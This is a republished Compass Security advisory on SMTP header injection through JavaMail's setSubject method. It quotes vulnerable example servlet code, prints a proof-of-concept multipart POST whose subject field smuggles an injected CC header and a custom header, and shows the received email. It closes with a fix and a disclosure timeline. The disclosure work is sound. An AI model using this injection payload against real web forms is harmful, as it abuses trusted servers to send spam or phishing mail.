Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:30780
HistoryJun 02, 2014 - 12:00 a.m.

JavaMail SMTP Header Injection via method setSubject [CSNC-2014-001]

2014-06-0200:00:00
vulners.com
1486

#############################################################

COMPASS SECURITY ADVISORY

http://www.csnc.ch/en/downloads/advisories.html

#############################################################

Product: JavaMail

Vendor: Oracle

CSNC ID: CSNC-2014-001

CVD ID: <none>

Subject: SMTP Header Injection via method setSubject

Risk: Medium

Effect: Remotely exploitable

Author: Alexandre Herzog <[email protected]>

Date: 19.05.2014

#############################################################

Introduction:

The JavaMail API provides a platform-independent and
protocol-independent framework to build mail and messaging applications.
The JavaMail API is available as an optional package for use with the
Java SE platform and is also included in the Java EE platform.[1]

JavaMail does not check if the email subject contains a Carriage Return
(CR) or a Line Feed (LF) character on POST multipart requests. This
issue allows the injection of arbitrary SMTP headers in the generated
email. This flaw can be used for sending SPAM or other social
engineering attacks (e.g. abusing a trusted server to send HTML emails
with malicious content).

Affected:

The following versions of JavaMail were tested and found vulnerable:

  • 1.4.5 (included in the .war file used as demo from [2])
  • 1.5.1 (latest version downloaded on 31.12.2013 from [3])

Technical Description

The tests were performed using the .war file downloaded from [2]. That
code features an example on how to send a file per email using JSP and
a servlet. The relevant parts of this example are:
[…]
/**
* A utility class for sending e-mail message with attachment.
* @author www.codejava.net
*
*/
public class EmailUtility {

	/**
	 * Sends an e-mail message from a SMTP host with a list of attached files.
	 *
	 */
	public static void sendEmailWithAttachment&#40;String host, String port,
			final String userName, final String password, String toAddress,
			String subject, String message, List&lt;File&gt; attachedFiles&#41;
					throws AddressException, MessagingException {
		// sets SMTP server properties
		Properties properties = new Properties&#40;&#41;;
		properties.put&#40;&quot;mail.smtp.host&quot;, host&#41;;
		properties.put&#40;&quot;mail.smtp.port&quot;, port&#41;;
		properties.put&#40;&quot;mail.smtp.auth&quot;, &quot;true&quot;&#41;;
		properties.put&#40;&quot;mail.smtp.starttls.enable&quot;, &quot;true&quot;&#41;;
		properties.put&#40;&quot;mail.user&quot;, userName&#41;;
		properties.put&#40;&quot;mail.password&quot;, password&#41;;
 
		// creates a new session with an authenticator
		Authenticator auth = new Authenticator&#40;&#41; {
			public PasswordAuthentication getPasswordAuthentication&#40;&#41; {
				return new PasswordAuthentication&#40;userName, password&#41;;
			}
		};
		Session session = Session.getInstance&#40;properties, auth&#41;;
 
		// creates a new e-mail message
		Message msg = new MimeMessage&#40;session&#41;;
 
		msg.setFrom&#40;new InternetAddress&#40;userName&#41;&#41;;
		InternetAddress[] toAddresses = { new InternetAddress&#40;toAddress&#41; };
		msg.setRecipients&#40;Message.RecipientType.TO, toAddresses&#41;;

==> msg.setSubject(subject);
msg.setSentDate(new Date());
[…]

[...]
/**
 * A servlet that takes message details from user and send it as a new e-mail
 * through an SMTP server. The e-mail message may contain attachments which
 * are the files uploaded from client.
 *
 * @author www.codejava.net
 *
 */
@WebServlet&#40;&quot;/SendMailAttachServlet&quot;&#41;

// CSNC comment - this tag enables the processing of POST multipart requests
@MultipartConfig&#40;fileSizeThreshold = 1024 * 1024 * 2,   // 2MB
				maxFileSize = 1024 * 1024 * 10,         // 10MB
				maxRequestSize = 1024 * 1024 * 50&#41;      // 50MB
public class SendMailAttachServlet extends HttpServlet {
	private String host;
	private String port;
	private String user;
	private String pass;
 
	public void init&#40;&#41; {
		// reads SMTP server setting from web.xml file
		ServletContext context = getServletContext&#40;&#41;;
		host = context.getInitParameter&#40;&quot;host&quot;&#41;;
		port = context.getInitParameter&#40;&quot;port&quot;&#41;;
		user = context.getInitParameter&#40;&quot;user&quot;&#41;;
		pass = context.getInitParameter&#40;&quot;pass&quot;&#41;;
	}
 
	/**
	 * handles form submission
	 */
	protected void doPost&#40;HttpServletRequest request,
			HttpServletResponse response&#41; throws ServletException, IOException {
		 
		List&lt;File&gt; uploadedFiles = saveUploadedFiles&#40;request&#41;;
		 
		String recipient = request.getParameter&#40;&quot;recipient&quot;&#41;;

==> String subject = request.getParameter("subject");
String content = request.getParameter("content");

		String resultMessage = &quot;&quot;;
 
		try {

==> EmailUtility.sendEmailWithAttachment(host, port, user, pass,
recipient, subject, content, uploadedFiles);

			resultMessage = &quot;The e-mail was sent successfully&quot;;
		} catch &#40;Exception ex&#41; {

Below is a genuine request POST request for the example above, done
using "Content-Type: multipart" as it involves uploading a file:
POST /EmailAttachWebApp/SendMailAttachServlet HTTP/1.1
Host: localhost:8080
[…]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------205721274512326
Content-Length: 1785

-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;recipient&quot;

test@[redacted]
-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;subject&quot;

With javax.mail.1.5.1
-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;content&quot;

SMTP header injection test
-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;NOTICE&quot;
Content-Type: application/octet-stream

Apache Tomcat
Copyright 1999-2012 The Apache Software Foundation 
[...]

"Content-Type: multipart" allows us to submit a string containing a CR
or LF without having to use HEX characters %0A and %0D nor \n and \r. In
the JavaMail case, we abuse this feature to inject additional SMTP
headers through the Subject parameter in the request:
POST /EmailAttachWebApp/SendMailAttachServlet HTTP/1.1
Host: localhost:8080
[…]
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------205721274512326
Content-Length: 1839

-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;recipient&quot;

test@[redacted]
-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;subject&quot;

With javax.mail.1.5.1

==> CC: injected.header@[redacted]
==> X-other-header: foo bar
-----------------------------205721274512326
Content-Disposition: form-data; name="content"

SMTP header injection test
-----------------------------205721274512326
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;NOTICE&quot;
Content-Type: application/octet-stream

Apache Tomcat
Copyright 1999-2012 The Apache Software Foundation
[...]

This email is sent successfully and is received by the recipient under
the following form, where the injected SMTP headers are clearly visible:
[…]
From: [redacted]@gmail.com
To: test@[redacted]
Message-ID: <[email protected]>
Subject: With javax.mail.1.5.1
CC: injected.header@[redacted]
==> X-other-header: foo bar
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_Part_0_1681986934.1388504951836"
[…]

------=_Part_0_1681986934.1388504951836
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

SMTP header injection test
------=_Part_0_1681986934.1388504951836
Content-Type: application/octet-stream; name=NOTICE
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=NOTICE

Apache Tomcat
Copyright 1999-2012 The Apache Software Foundation
[...]

The same behavior can be observed when using JavaMail 1.4.5 (bundled by
default in the example .war [2]) instead of the latest 1.5.1 JavaMail
version.

Workaround / Fix:

Ensure your application strictly follows the JavaMail API and ensures
the subject string does not contain any line breaks (as stated in some
parts of the API [4]). An alternative would be to fix the setSubject
method of JavaMail by either disallowing the usage of CR/LF characters
or appending a space after each CR/LF character to be RFC compliant (see
2.2.3 Long Header Fields of RFC 2822 [5]).

Oracle issued the following statement regarding this matter: "The
assessment from our engineering team is that this is not a bug in
JavaMail API. The application is responsible to perform some input
validation. In this particular case, the application is responsible for
ensuring that the subject string does not contain any line breaks. The
code demonstrated the issue is not an Oracle sample. Therefore, we are
closing the issue as not-a-bug."

Timeline:

2014-05-19: Global publication of the advisory
2014-03-19: Advisory sent to Compass Security's customers
2014-02-19: Got confirmation from Oracle they agree our publication
schedule
2014-02-18: Informed Oracle that we plan to publish details of this
issue to our customer this week and to the general
public in a month
2014-02-05: Informed Oracle we consider publishing this information
2014-02-04: Response from Oracle: is not considered a bug
2014-01-23: Status report from Oracle mentioning the case being
"Under investigation / Being fixed in main codeline"
2014-01-01: Reception acknowledgement from Oracle
2014-01-01: Sending advisory and PoC to Oracle
2014-01-01: Isolation and reproduction of an issue discovered
previously by the author

References:

[1] http://www.oracle.com/technetwork/java/javamail/index.html
[2] http://www.codejava.net/java-ee/jsp/send-attachments-with-e-mail-using-jsp-servlet-and-javamail
[3] https://java.net/projects/javamail/pages/Home
[4] https://javamail.java.net/nonav/docs/api/javax/mail/internet/MimeMessage.html#setSubject&#40;java.lang.String&#41;
[5] http://www.ietf.org/rfc/rfc2822.txt


Alexandre Herzog, CTO, Compass Security Schweiz AG
Werkstrasse 20, 8645 Jona, Switzerland
Schauplatzgasse 39, 3011 Bern, Switzerland
http://www.csnc.ch/